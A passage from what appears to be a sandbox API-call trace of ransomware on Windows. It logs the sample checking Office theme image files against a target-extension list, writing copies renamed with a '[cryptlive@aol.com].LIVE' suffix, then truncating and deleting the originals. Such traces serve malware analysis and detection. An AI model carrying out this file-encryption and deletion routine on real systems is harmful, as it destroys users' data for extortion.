(lpString=".jpg") returned 4 [0049.330] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0049.330] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0049.331] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.800] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20627) returned 1 [0049.800] CloseHandle (hObject=0x188) returned 1 [0049.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0049.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.801] GetLastError () returned 0x0 [0049.801] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x5093, lpOverlapped=0x0) returned 1 [0049.805] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0049.807] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.807] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.807] SetEndOfFile (hFile=0x214) returned 1 [0049.807] CloseHandle (hObject=0x214) returned 1 [0049.808] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.808] SetEndOfFile (hFile=0x188) returned 1 [0049.809] CloseHandle (hObject=0x188) returned 1 [0049.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.809] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0049.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".doc") returned 4 [0049.810] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString=".docx") returned 5 [0049.810] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.810] lstrlenW (lpString=".pdf") returned 4 [0049.810] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString=".xls") returned 4 [0049.810] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.810] lstrlenW (lpString=".xlsx") returned 5 [0049.810] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.810] lstrlenW (lpString=".ppt") returned 4 [0049.810] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".zip") returned 4 [0049.810] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.810] lstrlenW (lpString=".rar") returned 4 [0049.810] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.810] lstrlenW (lpString=".bz2") returned 4 [0049.810] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString=".7z") returned 3 [0049.810] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".dbf") returned 4 [0049.810] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".1cd") returned 4 [0049.810] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".jpg") returned 4 [0049.810] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.810] lstrlenW (lpString=".doc") returned 4 [0049.810] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".docx") returned 5 [0049.811] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.811] lstrlenW (lpString=".pdf") returned 4 [0049.811] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".xls") returned 4 [0049.811] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".xlsx") returned 5 [0049.811] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.811] lstrlenW (lpString=".ppt") returned 4 [0049.811] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.811] lstrlenW (lpString=".zip") returned 4 [0049.811] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".rar") returned 4 [0049.811] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".bz2") returned 4 [0049.811] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".7z") returned 3 [0049.811] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.811] lstrlenW (lpString=".dbf") returned 4 [0049.811] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.811] lstrlenW (lpString=".1cd") returned 4 [0049.811] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0049.811] lstrlenW (lpString=".jpg") returned 4 [0049.811] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.811] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0049.811] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.812] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2044) returned 1 [0049.812] CloseHandle (hObject=0x188) returned 1 [0049.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0049.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.815] GetLastError () returned 0x0 [0049.815] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0049.816] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x800, lpOverlapped=0x0) returned 1 [0049.817] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.817] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.817] SetEndOfFile (hFile=0x184) returned 1 [0049.817] CloseHandle (hObject=0x184) returned 1 [0049.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.818] SetEndOfFile (hFile=0x188) returned 1 [0049.819] CloseHandle (hObject=0x188) returned 1 [0049.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.819] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".doc") returned 4 [0049.820] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString=".docx") returned 5 [0049.820] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.820] lstrlenW (lpString=".pdf") returned 4 [0049.820] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString=".xls") returned 4 [0049.820] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString=".xlsx") returned 5 [0049.820] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.820] lstrlenW (lpString=".ppt") returned 4 [0049.820] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".zip") returned 4 [0049.820] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString=".rar") returned 4 [0049.820] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString=".bz2") returned 4 [0049.820] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString=".7z") returned 3 [0049.820] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".dbf") returned 4 [0049.820] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".1cd") returned 4 [0049.820] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".jpg") returned 4 [0049.820] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.820] lstrlenW (lpString=".doc") returned 4 [0049.820] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString=".docx") returned 5 [0049.820] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.821] lstrlenW (lpString=".pdf") returned 4 [0049.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.821] lstrlenW (lpString=".xls") returned 4 [0049.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.821] lstrlenW (lpString=".xlsx") returned 5 [0049.821] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.821] lstrlenW (lpString=".ppt") returned 4 [0049.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.821] lstrlenW (lpString=".zip") returned 4 [0049.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.821] lstrlenW (lpString=".rar") returned 4 [0049.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.821] lstrlenW (lpString=".bz2") returned 4 [0049.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.821] lstrlenW (lpString=".7z") returned 3 [0049.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.821] lstrlenW (lpString=".dbf") returned 4 [0049.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.821] lstrlenW (lpString=".1cd") returned 4 [0049.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0049.821] lstrlenW (lpString=".jpg") returned 4 [0049.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.821] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0049.821] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.822] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=29925) returned 1 [0049.822] CloseHandle (hObject=0x188) returned 1 [0049.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0049.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.822] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.822] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.823] GetLastError () returned 0x0 [0049.823] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0049.826] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0049.828] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.828] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.828] SetEndOfFile (hFile=0x184) returned 1 [0049.828] CloseHandle (hObject=0x184) returned 1 [0049.829] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.829] SetEndOfFile (hFile=0x188) returned 1 [0049.830] CloseHandle (hObject=0x188) returned 1 [0049.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.831] lstrlenW (lpString=".doc") returned 4 [0049.831] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.831] lstrlenW (lpString=".docx") returned 5 [0049.831] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.831] lstrlenW (lpString=".pdf") returned 4 [0049.831] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.831] lstrlenW (lpString=".xls") returned 4 [0049.831] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.831] lstrlenW (lpString=".xlsx") returned 5 [0049.831] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.831] lstrlenW (lpString=".ppt") returned 4 [0049.831] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.831] lstrlenW (lpString=".zip") returned 4 [0049.831] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.831] lstrlenW (lpString=".rar") returned 4 [0049.831] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.831] lstrlenW (lpString=".bz2") returned 4 [0049.831] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.831] lstrlenW (lpString=".7z") returned 3 [0049.832] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".dbf") returned 4 [0049.832] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".1cd") returned 4 [0049.832] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".jpg") returned 4 [0049.832] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".doc") returned 4 [0049.832] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString=".docx") returned 5 [0049.832] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.832] lstrlenW (lpString=".pdf") returned 4 [0049.832] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString=".xls") returned 4 [0049.832] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.832] lstrlenW (lpString=".xlsx") returned 5 [0049.832] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.832] lstrlenW (lpString=".ppt") returned 4 [0049.832] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".zip") returned 4 [0049.832] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.832] lstrlenW (lpString=".rar") returned 4 [0049.832] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.832] lstrlenW (lpString=".bz2") returned 4 [0049.832] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.832] lstrlenW (lpString=".7z") returned 3 [0049.832] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.832] lstrlenW (lpString=".dbf") returned 4 [0049.832] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.833] lstrlenW (lpString=".1cd") returned 4 [0049.833] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0049.833] lstrlenW (lpString=".jpg") returned 4 [0049.833] 